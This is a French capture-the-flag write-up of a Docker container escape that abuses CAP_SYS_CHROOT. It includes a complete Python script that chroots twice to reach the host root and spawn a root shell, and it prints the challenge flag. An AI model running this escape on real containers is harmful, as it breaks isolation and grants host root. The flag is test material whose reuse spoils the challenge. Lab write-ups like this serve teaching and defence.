> For the complete documentation index, see [llms.txt](https://writeups.ayweth20.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.ayweth20.com/2025/404ctf-2025/divers/satellisation.md).

# Satellisation

**Catégorie:** Divers - **Difficulté:** Difficile

{% file src="/files/SU7Zv3i3sHYhus7M8za8" %}

**Description:**

<figure><img src="/files/2SmgJzFRhnjwPAHEK6Lf" alt=""><figcaption></figcaption></figure>

Solution:

Pour ce challenge, le but est de s'échapper du container Docker dans lequel nous sommes afin d'accéder à la machine hôte et de récupérer le fichier /root/flag.txt.

Pour ce faire, nous passons par plusieurs étapes cruciales :&#x20;

* Lors de la connexion en SSH, nous arrivons sur le Docker avec un compte root
* Nous voyons ce qu'il se passe au démarrage :&#x20;

<figure><img src="/files/ANPiHZ6A2CnAqJpaACrU" alt=""><figcaption></figcaption></figure>

* Nous avons également le script container.c à analyser, avec une info cruciale à prendre en compte :&#x20;

<figure><img src="/files/QXt3fKQIIk9lx0nh9SAC" alt=""><figcaption></figcaption></figure>

* Les [hauts privilèges du container Docker](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_chroot) sont désactivés, sauf celle qui nous intéresse : `CAP_SYS_CHROOT`.\
  [Cette fonction](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_chroot) permets d'utiliser l'appel système chroot() afin d'échapper du Docker : \
  ![](/files/m1enLt4EJP9tN2PPq54w)
* Python est utilisable sur le Docker

Avec tout cela, nous allons pouvoir faire quelques tests et surtout un script python afin d'automatiser la sortie du Docker.

Passons directement aux choses sérieuses, avec un petit peu de reconnaissance et le fameux script Python :&#x20;

<figure><img src="/files/ChOjyOFRGVdYFcwiSyQa" alt=""><figcaption></figcaption></figure>

Nous voyons ici que nous n'avons pas de fichier flag.txt, ce qui est un peu ennuyeux quand on doit retrouver le contenu de ce fameux fichier ^^.

Maintenant pour le script Python, voici ce qui fonctionne parfaitement :&#x20;

```python
#!/usr/bin/env python3
"""
Évasion du conteneur : on exploite le fait que la capacité CAP_SYS_CHROOT
n’a pas été retirée. L’idée est de :
  1. faire un 1° chroot vers un dossier factice à l’intérieur* du conteneur
  2. remonter le plus haut possible dans l’arborescence
  3. refaire un chroot(".") pour redéfinir / qui correspond maintenant
     au « vrai » root de la machine hôte
  4. lancer un shell root.
"""

import os          # appels système (chroot, chdir, …)
import subprocess  # pour exécuter /bin/bash
import pathlib     # création propre du dossier de fuite
import itertools   # générer une boucle « infinie » sans compteur explicite

# ─────────────────────────────────────────────────────────────────────────────
# 1) Préparation : on crée un dossier qui servira de « leurre »
# ─────────────────────────────────────────────────────────────────────────────
ESC = "/tmp/eroot"
pathlib.Path(ESC).mkdir(exist_ok=True)

# ─────────────────────────────────────────────────────────────────────────────
# 2) Premier chroot
# ─────────────────────────────────────────────────────────────────────────────
# Après cet appel, le noyau considère ESC comme la nouvelle racine.
# ATTENTION : notre répertoire courant « / » est en dehors de ce nouvel
# espace. C’est précisément ce qu’on veut exploiter.
os.chroot(ESC)

# ─────────────────────────────────────────────────────────────────────────────
# 3) On remonte l’arborescence jusqu’à atteindre la VRAIE racine
# ─────────────────────────────────────────────────────────────────────────────
for _ in itertools.repeat(None, 500):
    try:
        os.chdir("..")
    except FileNotFoundError:
        break

# À l’issue de la boucle, le cwd est la vraie racine (celle du host)

# ─────────────────────────────────────────────────────────────────────────────
# 4) Deuxième chroot – on re-définit « / » sur le host
# ─────────────────────────────────────────────────────────────────────────────
# Le point (.) correspond au cwd => devient la nouvelle racine pour le
# processus (= root du système hôte). Nous sommes donc « sortis » du conteneur.
os.chroot(".")

# ─────────────────────────────────────────────────────────────────────────────
# 5) On profite de nos privilèges root pour lancer un shell
# ─────────────────────────────────────────────────────────────────────────────
subprocess.call("/bin/bash")
```

Voici ce qu'il se passe quand nous lançons le script :&#x20;

<figure><img src="/files/9cbvlsV8DnhqFYjpGnD5" alt=""><figcaption></figcaption></figure>

Nous avons enfin notre précieux fichier flag.txt. Alors allons le lire :&#x20;

<figure><img src="/files/avj8tKfaYqb4XeOUO8zj" alt=""><figcaption></figcaption></figure>

Il ne faut parfois pas être trop pressé, car sans droits, nous ne pouvons pas lire les fichiers ^^

<details>

<summary>🚩FLAG</summary>

`404CTF{@v3k_l4_vE9a_M1ssYl_v0uz_e73s_saTelLize_c4_n3_l@1zS3_pAs_1ndiffeR3nt}`

</details>
